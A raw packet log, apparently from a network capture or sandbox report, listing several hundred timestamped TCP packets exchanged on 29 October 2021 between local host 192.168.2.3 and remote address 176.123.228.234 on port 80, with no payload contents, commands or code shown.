Oct 29, 2021 20:29:59.264431000 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.264446974 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264579058 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.265784979 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.265995026 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.266057014 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.266079903 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.266099930 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.266122103 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.266143084 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.266163111 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.266171932 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.266180038 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.266185999 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267050028 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.267762899 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267786980 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267806053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267827988 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267848969 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267859936 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.267868042 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.267868996 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267890930 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267913103 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.267927885 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.267931938 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.267992973 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.268790960 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.269674063 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269699097 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269727945 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269758940 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269782066 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269783974 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.269804955 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.269805908 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269831896 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269853115 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269874096 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269895077 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.269926071 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.269932985 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.270232916 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.271660089 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.271697998 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.271718979 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.271759033 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.271817923 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.271840096 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.271886110 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.277757883 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.277899981 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.297761917 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.297836065 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.297902107 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.303742886 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.308481932 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.308511019 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.308552027 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.308578968 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.308593988 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.308619976 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.313762903 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.313782930 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.313800097 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.313842058 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.313863993 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.315628052 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.315686941 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.315742970 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.315746069 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.317728043 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.317748070 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.317800045 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.317848921 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.317862988 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.348098993 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.348227978 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.348916054 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.350210905 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.357767105 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.359741926 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.399777889 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.399805069 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.401285887 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.420051098 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.420074940 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.421684027 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.421835899 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.423751116 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.423825979 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.423873901 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425685883 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425705910 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425720930 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425740004 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425756931 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425774097 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425790071 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425821066 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425837994 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.425873995 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.425934076 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.427711010 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427728891 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427745104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427846909 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427861929 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427902937 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427920103 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427932978 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.427936077 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427947044 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.427953959 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427970886 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.427987099 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.428004026 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.428047895 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.428078890 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.428519964 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.429680109 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.429697037 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.429773092 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.431839943 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.431865931 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.431886911 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.431952000 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.431968927 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.432018042 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.432082891 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.432113886 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.432199001 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.432216883 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.432255030 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.433630943 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433650017 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433679104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433696032 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433712006 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433725119 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433742046 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.433756113 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.433860064 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.434111118 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.434129953 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.434145927 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.434175968 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.434195995 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.434459925 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.435744047 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.435750008 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.435885906 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.440046072 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.440375090 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.441756964 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.445733070 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.445761919 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.446866989 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.449876070 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.449896097 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.450479984 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.455887079 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.456083059 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.477859020 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.477883101 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.477982998 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.477987051 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.478007078 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.478050947 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.484128952 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.487737894 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.487843990 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.489707947 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.489727974 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.489767075 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.489782095 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.489957094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.489974976 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.489991903 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.489999056 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.490008116 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.490025043 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.490041018 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.490055084 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.490056992 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.490058899 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.490114927 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.490123987 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.491946936 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.492403984 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.492444992 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.492460012 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.493714094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.493735075 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.493794918 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.493808985 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.496074915 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.496146917 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.497726917 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.499295950 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.501904011 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.501986980 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.502008915 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.502062082 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.503689051 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.505036116 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.507824898 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.507950068 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.507998943 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.508018970 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.513910055 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.513942003 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.513968945 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.514010906 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.514033079 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.514092922 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.538064957 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.538106918 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.538131952 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.538187027 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.538239956 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.538259029 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.538332939 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.538345098 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.547779083 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.547858000 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.547892094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.547935009 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.548046112 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.548058987 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.563874006 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.563988924 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.570087910 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.570127964 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.570207119 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.570235014 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.573798895 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.574147940 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.574181080 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.574206114 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.574214935 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.574233055 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.574238062 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.574250937 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.579824924 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.579878092 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.579891920 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.579931021 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.580054045 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.580079079 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.580108881 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.580120087 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.580127954 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.580153942 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.583868027 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.583914042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.583986044 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.584005117 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.585737944 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.585768938 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.585823059 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.585906982 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.585951090 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.585956097 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.585958004 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.585980892 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.586010933 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.586021900 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.586028099 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.586034060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.586064100 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.586076975 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.586081028 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.586112022 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.590142965 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.590174913 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.590197086 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.590260029 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.590287924 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.594285965 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.594820976 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.595834017 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.595911026 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.626760006 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.626790047 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.626813889 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.627299070 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.630701065 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.630970001 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.631649971 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.631669998 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.631711960 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.631721973 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.631741047 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.631762981 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.631776094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.631808043 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.631814003 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.631814957 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.631865978 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.631972075 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.632869959 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.633670092 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.633732080 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.633738041 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.633794069 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.635731936 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.635781050 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.636181116 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.636189938 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.636223078 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.636282921 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.636307001 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.637943029 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.637962103 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.638113976 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.639873028 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.639900923 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.639967918 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.639981985 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.646569014 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.646605015 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.646631956 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.646670103 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.646694899 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.646698952 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.671906948 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.671953917 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.672055006 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.672068119 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.672091007 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.672130108 CEST	49863	80	192.168.2.3	176.123.228.234
